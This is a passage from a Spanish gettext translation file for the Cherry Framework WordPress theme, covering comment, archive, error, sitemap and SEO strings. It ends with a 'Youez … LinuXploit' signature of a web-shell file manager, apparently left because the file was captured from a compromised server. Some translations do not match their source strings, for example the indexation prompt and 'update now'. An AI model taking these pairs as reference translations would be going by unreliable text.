"<b style=\"color:red;\">Advertencia!</b> Antes de actualizar el marco de "
"trabajo recomendamos enfáticamente <a href=\"admin.php?page=options-"
"framework-data-management\"> respaldar </a> su información."

#: ../includes/locals.php:903
msgid "View File"
msgstr "Ver Fichero"

#: ../includes/locals.php:904
msgid "Previously Uploaded"
msgstr "Subido anteriormente"

#: ../includes/locals.php:920 ../includes/locals.php:922
msgid "There was an error when reading this WXR file"
msgstr "Se ha producido un error al leer el fichero WXR"

#: ../includes/locals.php:921
msgid ""
"Details are shown above. The importer will now try again with a different "
"parser..."
msgstr ""
"Los detalles se muestran arriba. Ahora el importador tratará de nuevo con un "
"analizador diferente .."

#: ../includes/locals.php:923
msgid ""
"This does not appear to be a WXR file, missing/invalid WXR version number"
msgstr "Esto no es un fichero WXR, falta/número no válido de versión WXR"

#: ../includes/locals.php:926
msgid ""
"<p>An Unexpected HTTP Error occurred during the API request.</p><p><a "
"href='#' onclick='document.location.reload(); return false;'>Try again</a></"
"p>"
msgstr ""
"<p>Un error inesperado ocurrió durante la solicitud del API. </p><p><a "
"href='#' onclick='document.location.reload(); return false;'> Inténtelo de "
"nuevo</a></p>    "

#: ../includes/locals.php:927
msgid "An unknown error occurred"
msgstr "Error desconocido"

#: ../includes/locals.php:928
msgid "There is a new version of Cherry framework available"
msgstr "Hay una nueva versión de Cherry Framework disponible"

#: ../includes/locals.php:929
msgid "View version "
msgstr "Ver versión"

#: ../includes/locals.php:930
msgid " details"
msgstr "Mostrar Detalles"

#: ../includes/locals.php:931
msgid "or"
msgstr "o"

#: ../includes/locals.php:932
msgid "update now."
msgstr "actualizado."

#: ../includes/locals.php:936
msgid "Please do not load this page directly. Thanks!"
msgstr "Por favor, no suba esta página directamente.Gracias."

#: ../includes/locals.php:937
msgid "This post is password protected. Enter the password to view comments."
msgstr ""
"Esta entrada está protegida. Introduzca la contraseña para ver los "
"comentarios."

#: ../includes/locals.php:938
msgid "1 Response"
msgstr "1 Respuesta"

#: ../includes/locals.php:939
#, php-format
msgid "%1$s Responses"
msgstr "%1$s Respuestas"

#: ../includes/locals.php:940
msgid "No Comments Yet."
msgstr "No hay comentarios."

#: ../includes/locals.php:941
msgid "Comments are closed."
msgstr "Los comentarios están cerrados."

#: ../includes/locals.php:942
msgid "Leave a comment"
msgstr "Agregar comentario"

#: ../includes/locals.php:943
msgid "You must be"
msgstr "Debe ser"

#: ../includes/locals.php:944
msgid "to post a comment."
msgstr "para agregar comentarios."

#: ../includes/locals.php:945
msgid "Logged in"
msgstr "Conectado"

#: ../includes/locals.php:946
msgid "Logged in as"
msgstr "Conectado como"

#: ../includes/locals.php:947
msgid "Log out of this account;"
msgstr "Cerrar le sesión de esta cuenta;"

#: ../includes/locals.php:948
msgid "Log out &raquo;"
msgstr "Cerrar sesión &raquo;"

#: ../includes/locals.php:950
msgid "Email (will not be published)"
msgstr "Dirección email (no será publicada)"

#: ../includes/locals.php:951
msgid "Website"
msgstr "Sitio web"

#: ../includes/locals.php:952
msgid "Your comment*"
msgstr "Su comentario*"

#: ../includes/locals.php:953
msgid "Submit Comment"
msgstr "Agregar comentario"

#: ../includes/locals.php:956
msgid "Tweet this article"
msgstr "Agregar a twitter esta entrada"

#: ../includes/locals.php:959
msgid "Continue Reading"
msgstr "Seguir leyendo"

#: ../includes/locals.php:960
msgid "Pages:"
msgstr "Páginas:"

#: ../includes/locals.php:961
msgid "Last 30 Posts"
msgstr "Últimas 30 entradas"

#: ../includes/locals.php:962
msgid "Archives by Month:"
msgstr "Archivos por mes:"

#: ../includes/locals.php:963
msgid "Archives by Subject:"
msgstr "Archivos por Tema:"

#: ../includes/locals.php:966
msgid "About:"
msgstr "Sobre:"

#: ../includes/locals.php:967
msgid "Recent Posts by"
msgstr "Entradas nuevas por"

#: ../includes/locals.php:968
msgid "No post yet"
msgstr "No hay entradas"

#: ../includes/locals.php:969
msgid "Recent Comments by"
msgstr "Comentarios nuevos por"

#: ../includes/locals.php:970
#, php-format
msgid "%1$s on %2$s"
msgstr "%1$s en %2$s"

#: ../includes/locals.php:971
msgid "No comments by"
msgstr "No hay comentarios de"

#: ../includes/locals.php:972
msgid "yet."
msgstr "todavía."

#: ../includes/locals.php:975
msgid "There has been an error."
msgstr "Error."

#: ../includes/locals.php:976
msgid "We apologize for any inconvenience, please"
msgstr "Le pedimos disculpas, por favor"

#: ../includes/locals.php:977
msgid "return to the home page"
msgstr "regrese a la página principal"

#: ../includes/locals.php:978
msgid "or use the search form below."
msgstr "o use este formulario de búsqueda."

#: ../includes/locals.php:981
msgid "Q?"
msgstr "P."

#: ../includes/locals.php:982
msgid "A."
msgstr "R."

#: ../includes/locals.php:985
msgid "Written by"
msgstr "Escrito por"

#: ../includes/locals.php:986
msgid "View all posts by"
msgstr "Examinar todas entradas por"

#: ../includes/locals.php:989
msgid "Not Found"
msgstr "No encontrado"

#: ../includes/locals.php:990
msgid ""
"Apologies, but no results were found for the requested archive. Perhaps "
"searching will help find a related post."
msgstr ""
"Disculpas, pero no hemos encontrado resultados para el fichero solicitado. "
"Por favor, use la búsqueda para encontrar una entrada relacionada."

#: ../includes/locals.php:993
msgid "is proudly powered by"
msgstr "funciona en la base de"

#: ../includes/locals.php:994
msgid "Entries (RSS)"
msgstr "Entradas (RSS)"

#: ../includes/locals.php:995
msgid "Comments (RSS)"
msgstr "Comentarios (RSS)"

#: ../includes/locals.php:996
msgid "Privacy Policy"
msgstr "Política de privacidad"

#: ../includes/locals.php:999
msgid "Category Archives"
msgstr "Archivos de Categoría"

#: ../includes/locals.php:1000
msgid "Portfolio Category"
msgstr "Categoría de Cartera"

#: ../includes/locals.php:1001
msgid "Search for"
msgstr "Buscar"

#: ../includes/locals.php:1002
msgid "Daily Archives"
msgstr "Archivos diarios"

#: ../includes/locals.php:1003
msgid "Monthly Archives"
msgstr "Archivos mensuales"

#: ../includes/locals.php:1004
msgid "Yearly Archives"
msgstr "Archivos anuales"

#: ../includes/locals.php:1005
msgid "by "
msgstr "por"

#: ../includes/locals.php:1006
msgid "Tag Archives"
msgstr "Archivos de Etiqueta"

#: ../includes/locals.php:1007
msgid "Portfolio Tag"
msgstr "Etiqueta de Cartera"

#: ../includes/locals.php:1010
msgid "Category Archive for"
msgstr "Archivo de Categoría de"

#: ../includes/locals.php:1011
msgid "Tag Archive for"
msgstr "Archivo de Etiqueta para"

#: ../includes/locals.php:1012 ../includes/locals.php:1055
msgid "Archive"
msgstr "Archivo"

#: ../includes/locals.php:1013
msgid "Error 404 Not Found"
msgstr "Error 404 No encontrado"

#: ../includes/locals.php:1016
msgid "Launch Project"
msgstr "Lanzar proyecto"

#: ../includes/locals.php:1019
msgid "Sorry!"
msgstr "Lo sentimos"

#: ../includes/locals.php:1020
msgid "Page Not Found"
msgstr "Página no encontrada"

#: ../includes/locals.php:1021
msgid ""
"The page you are looking for might have been removed, had its name changed, "
"or is temporarily unavailable."
msgstr ""
"La página que está buscando ha sido eliminada, su nombre ha sido cambiado o "
"ella no está disponible temporalmente."

#: ../includes/locals.php:1022
msgid ""
"Please try using our search box below to look for information on the "
"internet."
msgstr "Por favor, use la búsqueda para encontrar la información en Internet."

#: ../includes/locals.php:1025
msgid "Posted in"
msgstr "Publicado en"

#: ../includes/locals.php:1028
msgid "Featured"
msgstr "Destacadas"

#: ../includes/locals.php:1032
msgid "Submit Permalink Structure"
msgstr "Presentar estructura de enlaces permanentes"

#: ../includes/locals.php:1033
msgid ""
"This way of links configuration can be used by not only our blog followers "
"but will help in SEO-optimisation as well. The effectiveness and main "
"features of this link configuration method are revealed <a href='//codex."
"wordpress.org/Using_Permalinks'>here</a>"
msgstr ""
"Esta configuración de enlaces puede ser utilizada no sólo por los seguidores "
"del blog, pero también ayudará en la optimización SEO. La eficacia y las "
"principales características de esta configuración de enlaces se puede "
"encontrar <a href='//codex.wordpress.org/Using_Permalinks'>aquí</a>"

#: ../includes/locals.php:1034
msgid "Import Sample Data"
msgstr "Importar Datos de la Muestra"

#: ../includes/locals.php:1035 ../includes/locals.php:1036
msgid ""
"If you want to install sample data from livedemo you need to go to "
"<strong><a href=\"admin.php?page=import-page\">Import Content</a></strong> "
"and follow the tips."
msgstr ""
"Si desea instalar datos de muestra desde el livedemo, necesita ir a "
"<strong><a href=\"admin.php?page=import-page\">Importar Contenidos</a></"
"strong> y seguir las indicaciones."

#: ../includes/locals.php:1039
msgid "No lable."
msgstr "etiqueta:"

#: ../includes/locals.php:1042
msgid "Theme Options Media"
msgstr "Media de Opciones de Tema"

#: ../includes/locals.php:1045
msgid "Visibility"
msgstr "Visibilidad"

#: ../includes/locals.php:1046
msgid "Visible at"
msgstr "Visible en"

#: ../includes/locals.php:1047
msgid "Visible on"
msgstr "Visible en"

#: ../includes/locals.php:1048
msgid "Visible for"
msgstr "Visible para"

#: ../includes/locals.php:1049
msgid "All pages"
msgstr "Todas las páginas"

#: ../includes/locals.php:1050
msgid "All pages expecting"
msgstr "Todas las páginas esperadas"

#: ../includes/locals.php:1051
msgid "No pages expecting"
msgstr "No hay páginas"

#: ../includes/locals.php:1052
msgid "Homepage"
msgstr "Página de inicio"

#: ../includes/locals.php:1053
msgid "Page"
msgstr "Página"

#: ../includes/locals.php:1054
msgid "Post"
msgstr "Entrada"

#: ../includes/locals.php:1056
msgid "Page Template"
msgstr "Plantilla de página"

#: ../includes/locals.php:1057
msgid "Search page"
msgstr "Buscar pagina"

#: ../includes/locals.php:1058
msgid "404 page"
msgstr "página 404"

#: ../includes/locals.php:1059
msgid "Page ID/Title/slug"
msgstr "ID de Página/Título/slug"

#: ../includes/locals.php:1060
msgid "Post ID/Title/slug"
msgstr "ID de la entrada/Titulo/ficha"

#: ../includes/locals.php:1061
msgid "Category ID/Name/slug"
msgstr "ID de la categoría/Nombre/ficha"

#: ../includes/locals.php:1062
msgid "Tag ID/Name"
msgstr "ID de Etiqueta/Nombre"

#: ../includes/locals.php:1063
msgid "Template"
msgstr "Plantilla"

#: ../includes/locals.php:1064
msgid "Add page"
msgstr "Agregar página"

#: ../includes/locals.php:1065
msgid "Selected pages"
msgstr "Páginas seleccionadas"

#: ../includes/locals.php:1066
msgid "No pages"
msgstr "No hay páginas"

#: ../includes/locals.php:1067
msgid "All devices"
msgstr "Todos los dipositivos"

#: ../includes/locals.php:1068
msgid "Desktops"
msgstr "Desktops"

#: ../includes/locals.php:1069
msgid "Tablets"
msgstr "Tabletas"

#: ../includes/locals.php:1070
msgid "Phones"
msgstr "Móviles"

#: ../includes/locals.php:1071
msgid "Desktops/Tablets"
msgstr "Desktops/Tabletas"

#: ../includes/locals.php:1072
msgid "Tablets/Phones"
msgstr "Tabletas/Móviles"

#: ../includes/locals.php:1073
msgid "Desktops/Phones"
msgstr "Desktops/Móviles"

#: ../includes/locals.php:1074
msgid "All users"
msgstr "Todos usuarios"

#: ../includes/locals.php:1075
msgid "Only guests"
msgstr "Sólo huéspedes"

#: ../includes/locals.php:1076
msgid "Only registered users"
msgstr "Sólo usuarios registrados"

#: ../includes/locals.php:1077
msgid "Only administrator"
msgstr "Sólo administrador"

#: ../includes/locals.php:1078
msgid "Select page to add"
msgstr "Seleccione la página que necesita agregar"

#: ../includes/locals.php:1079
msgid "Custom CSS class"
msgstr "Clase personalizada de CSS"

#: ../includes/locals.php:1082
msgid "Sitemap XML"
msgstr "Mapa del sitio XML"

#: ../includes/locals.php:1083
msgid "Use sitemap.xml for your website"
msgstr "Utilizar el sitemap.xml en la página web"

#: ../includes/locals.php:1084
msgid "Enable sitemap.xml (Disabling this option will delete sitemap.xml file)"
msgstr ""
"Activar sitemap.xml (Desactivar esta opción eliminará el archivo sitemap.xml)"

#: ../includes/locals.php:1085
msgid ""
"Generate robots.txt file to control search bots while indexing your website. "
"(Disabling this option will delete robots.txt file)"
msgstr ""
"Generar el archivo robots.txt para controlar los robots de búsqueda cuando "
"indexan la página web. (Desactivar esta opción eliminará el archivo robots."
"txt)"

#: ../includes/locals.php:1086
msgid "Include post types."
msgstr "Incluya tipos de entrada."

#: ../includes/locals.php:1087
msgid "Priority."
msgstr "Prioridad."

#: ../includes/locals.php:1088
msgid "Change freq."
msgstr "Cambiar frecuencia."

#: ../includes/locals.php:1089
msgid "Post types settings."
msgstr "Configuración de tipos de entrada."

#: ../includes/locals.php:1090
msgid ""
"<strong>Include post types</strong> - specify the post types which will be "
"included into your sitemap."
msgstr ""
"<strong>Incluye Post Types (Tipo de Post)</strong> - especifica los Post "
"Types (Tipos de Post) que se incluirán en su sitemap (mapa del sitio)."

#: ../includes/locals.php:1091
msgid ""
"<strong>Priority</strong> - set post type priorities on your site. For "
"example, if the blog page content is more important for search engines than "
"the portfolio page content, set the priority for blog posts as 1, for "
"portfolio pages as 0.9 and so on."
msgstr ""
"<strong>Prioridad</strong> –  Establece las prioridades del Post Type (Tipo "
"de Post) en su sitio. Por ejemplo, si el contenido de la página blog es más "
"importante para los motores de búsqueda que el contenido de la página del "
"portafolio, este establece la prioridad para los blogs como 1, para páginas "
"de portafolio como 0.9 y así sucesivamente."

#: ../includes/locals.php:1092
msgid ""
"<strong>Change frequency</strong> - specify how often you change certain "
"post types. It helps the search engines to determine how relevant your "
"information is at the moment of search."
msgstr ""
"<strong>Cambio de frecuencia</strong> – Especifica con qué frecuencia usted "
"cambia ciertos Post Types (Tipos de Post). Ayuda a los motores de búsqueda a "
"determinar qué tan relevante es su información en el momento de la búsqueda."

#: ../includes/locals.php:1093
msgid ""
"<strong>Ping sitemap</strong> - choose the search engines which will receive "
"the link to your sitemap."
msgstr ""
"<strong>Ping (Notificar) Sitemap (Mapa del Sitio)</strong> – Escoge los "
"buscadores que recibirán el enlace a su sitemap (mapa del sitio)."

#: ../includes/locals.php:1094
msgid "Ping sitemap."
msgstr "Mapa del sitio Ping."

#: ../includes/locals.php:1095
msgid "SEO"
msgstr "SEO"

#: ../includes/locals.php:1096
msgid "Your website indexation settings."
msgstr "Su configuración de indexación de sitios web."

#: ../includes/locals.php:1097
msgid ""
"Forbid the search engines to index the following directories of your site."
msgstr "La configuración de indexación de su Pagina Web."

#: ../includes/locals.php:1098
msgid ""
"These settings will help reduce the information search range on your site. "
msgstr ""
"Estas opciones le ayudarán a reducir el rango de búsqueda de información en "
"su sitio."

#: ../includes/locals.php:1099
msgid "WordPress engine system files and folders <em>(recommended)</em>"
msgstr ""
"Las carpetas y archivos de sistema del motor de WordPress <em>(recomendado)</"
"em>"

#: ../includes/locals.php:1100
msgid "Your plugins system files and folders <em>(recommended)</em>"
msgstr ""
"Sus sistemas de archivos de componentes y carpetas <em>(recomendado)</em>"

#: ../includes/locals.php:1101
msgid "Your themes system files and folders <em>(recommended)</em>"
msgstr "Sus archivos de sistema de temas y carpetas <em>(recomendadas)</em>"

#: ../includes/locals.php:1102
msgid ""
"Media library files (images, video, audio, etc.) <em>(not recommended)</em>"
msgstr ""
"Archivos de la biblioteca multimedia (imágenes, vídeo, audio, etc.).<em> (no "
"recomendado)</em>"

#: ../includes/locals.php:1103
msgid ""
"Add the <em>\"rel\"</em> attribute with the <em>\"nofollow\"</em> value to "
"content links."
msgstr ""
"Agregue el atributo <em>\"rel\"</em> con el valor <em>\"nofollow\"</em> a "
"enlaces de contenido"

#: ../includes/locals.php:1104
msgid ""
"This option will stop the search engines from going to other sites following "
"the links in your site content."
msgstr ""
"Esta opción evitará que los motores de búsqueda vayan a otros sitios "
"siguiendo los enlaces en el contenido de su sitio."

#: ../includes/register-motopress.php:33
msgid ""
"MotoPress Content Editor is a drag and drop visual builder for creating and "
"editing your WordPress posts and pages.<br/>Note: MotoPress Content Editor "
"<b>customizes the content created only by this plugin</b>. To edit "
"previously created content you should use the default WordPress editor."
msgstr ""

#: ../includes/register-plugins.php:81
msgid "Something went wrong with the plugin API."
msgstr ""

#: ../includes/register-plugins.php:94
#, php-format
msgid "All plugins installed and activated successfully. %s"
msgstr ""

#~ msgid "Style Switcher"
#~ msgstr "Style Switcher"

#~ msgid "Display Style Switcher on front-end?"
#~ msgstr "¿Mostrar el Style Switcher en el front-end?"

#~ msgid "Do you want to display Style Switcher on front-end?"
#~ msgstr "¿Desea mostrar el Style Switcher en el front-end?"

#~ msgid "Display Layout Style option?"
#~ msgstr "¿Mostrar la opción Estilo de Diseño?"

#~ msgid "Display Layout Style option on front-end?"
#~ msgstr "¿Mostrar la opción Estilo de Diseño en el front-end?"

#~ msgid "Display Color Skin option?"
#~ msgstr "¿Mostrar la opción Color de Skin?"

#~ msgid "Display Color Skin option on front-end?"
#~ msgstr "¿Mostrar la opción Color de Skin en el front-end?"

#~ msgid "Display Color Schemes option?"
#~ msgstr "¿Mostrar la opción del Esquema de Color?"

#~ msgid "Display Color Schemes option on front-end?"
#~ msgstr "¿Mostrar la opción del Esquema de Color en el front-end?"

#~ msgid "Display Patterns option?"
#~ msgstr "¿Mostrar la opción Patrones?"

#~ msgid "Display Patterns option on front-end?"
#~ msgstr "¿Mostrar la opción Patrones en el front-end?"

#~ msgid "Display Slider option?"
#~ msgstr "¿Mostrar la opción Slider?"

#~ msgid "Display Slider option on front-end?"
#~ msgstr "¿Mostrar la opción slider en el front-end?"

#~ msgid "Display Blog layout option?"
#~ msgstr "¿Mostrar la opción del diseño del Blog?"

#~ msgid "Display Blog layout option on front-end?"
#~ msgstr "¿Mostrar la opción del diseño del Blog en el front-end?"

#~ msgid "Color Skin"
#~ msgstr "Color de Skin"

#~ msgid "Color Schemes"
#~ msgstr "Esquema de Color"

#~ msgid "Patterns"
#~ msgstr "Patrones"

#~ msgid "Slider Type"
#~ msgstr "Tipo de Slider"

#~ msgid "<span>Step <i>1</i></span>Theme Options Import"
#~ msgstr "<span>Paso <i>1</i></span>Importar Opciones de Tema"

#~ msgid ""
#~ "Select the file that contains Theme Options (e.g. <b>options.json</b> )"
#~ msgstr ""
#~ "Elija el fichero que contiene opciones de tema (por ejemplo, <b> options."
#~ "json</b>)"

#~ msgid "Upload File and Import"
#~ msgstr "Subir Fichero e Importar"

#~ msgid "<span>Step <i>1</i></span>Theme Options Export"
#~ msgstr "<span>Paso <i>1</i></span>Exportar Opciones de Tema"

#~ msgid "Welcome to the OptionsFramework Backup Manager."
#~ msgstr ""
#~ "Bienvenido al Administrador de copias de seguridad OptionsFramework."

#~ msgid "There was a problem importing your settings. Please Try again."
#~ msgstr ""
#~ "Hubo un problema al importar la configuración. Por favor intentelo de "
#~ "nuevo."

#~ msgid "There was a problem exporting your settings. Please Try again."
#~ msgstr ""
#~ "Hubo un problema al exportar la configuración. Por favor intentelo de "
#~ "nuevo."

#~ msgid "The import file you've provided is invalid. Please try again."
#~ msgstr ""
#~ "El fichero de importación especificado no es válido. Por favor, inténtelo "
#~ "de nuevo."

#~ msgid "<span>Step <i>1</i></span> Widget Settings Export"
#~ msgstr "<span>Paso <i>1</i></span> Exportar Configuración de Widget"

#~ msgid "<span>Step <i>3</i></span> Widget Settings Import"
#~ msgstr "<span>Paso<i>3</i></span>  Importación de configuración widget"

#~ msgid "<span>Step <i>4</i></span> Widget Settings Import"
#~ msgstr "<span>Paso<i>4</i></span>  Importación de configuración widget"

#~ msgid "Import Settings"
#~ msgstr "Importar Configuración"

#~ msgid ""
#~ "Incorrect file. Please, <a href='admin.php?page=options-framework-"
#~ "import&amp;step=1'>try again</a>."
#~ msgstr ""
#~ "Fichero incorrecto. Pir favor, <a href='admin.php?page=options-framework-"
#~ "import&amp;step=1'> inténtelo de nuevo</a>."

#~ msgid ""
#~ "Select the file that contains Widget Settings (e.g. "
#~ "<b>your_template_package/sources/sample_data/widgets.json</b>)"
#~ msgstr ""
#~ "Seleccione el archivo que contiene las configuraciones de widget (ej. "
#~ "<b>your_template_package/theme/sample_data/widgets.json</b>)"

#~ msgid "Show Widget Settings"
#~ msgstr "Mostrar Configuración de Widget"

#~ msgid "Your have no widgets. Please, click next to go to the next step."
#~ msgstr ""
#~ "Su no tienen widgets. Por favor, haga clic en siguiente para ir al "
#~ "siguiente paso."

#~ msgid ""
#~ "Disable the widgets you don't need and click \"Next\". All the selected "
#~ "widgets will be imported into the theme by default."
#~ msgstr ""
#~ "Desactive los widgets (aplicaciones) que no necesita y haga click en "
#~ "\"Siguiente\". Todos los widgets (aplicaciones) seleccionados se "
#~ "importarán en el tema por defecto."

#~ msgid "go to widgets"
#~ msgstr "Ir a widgets"

#~ msgid ""
#~ "File widgets.json incorrect or empty. For this reason, none of the widget "
#~ "will be imported into your theme."
#~ msgstr ""
#~ "El fichero widgets.json es incorrecto o vacío. Por eso no se puede "
#~ "importar ningún widget en su tema."

#~ msgid "Sidebar position"
#~ msgstr "Posición de barra lateral"

#~ msgid "Choose sidebar position."
#~ msgstr "Elegir posición en la barra lateral."

#~ msgid ""
#~ "If you want to install sample data from livedemo you need to go to "
#~ "<strong>Cherry Options</strong> > <strong>Import</strong> and follow the "
#~ "tips."
#~ msgstr ""
#~ "Si Usted desea instalar los datos de muestra de LIVEDEMO, tiene que hacer "
#~ "clic en <strong>Opciones de Cherry</strong> y <strong>Importar</strong> y "
#~ "seguir las instrucciones."

#~ msgid "Skip"
#~ msgstr "Omitir"

#~ msgid "Enable or Disable meta information for blog posts."
#~ msgstr "Activar o Desactivar información meta para entradas de blog."

#, fuzzy
#~ msgid "Show all"
#~ msgstr "Mostrar todo"

#~ msgid "Buttons and links color."
#~ msgstr "Color de botones y enlaces."

#~ msgid "Leave a reply"
#~ msgstr "Responder"

Youez - 2016 - github.com/yon3zu
LinuXploit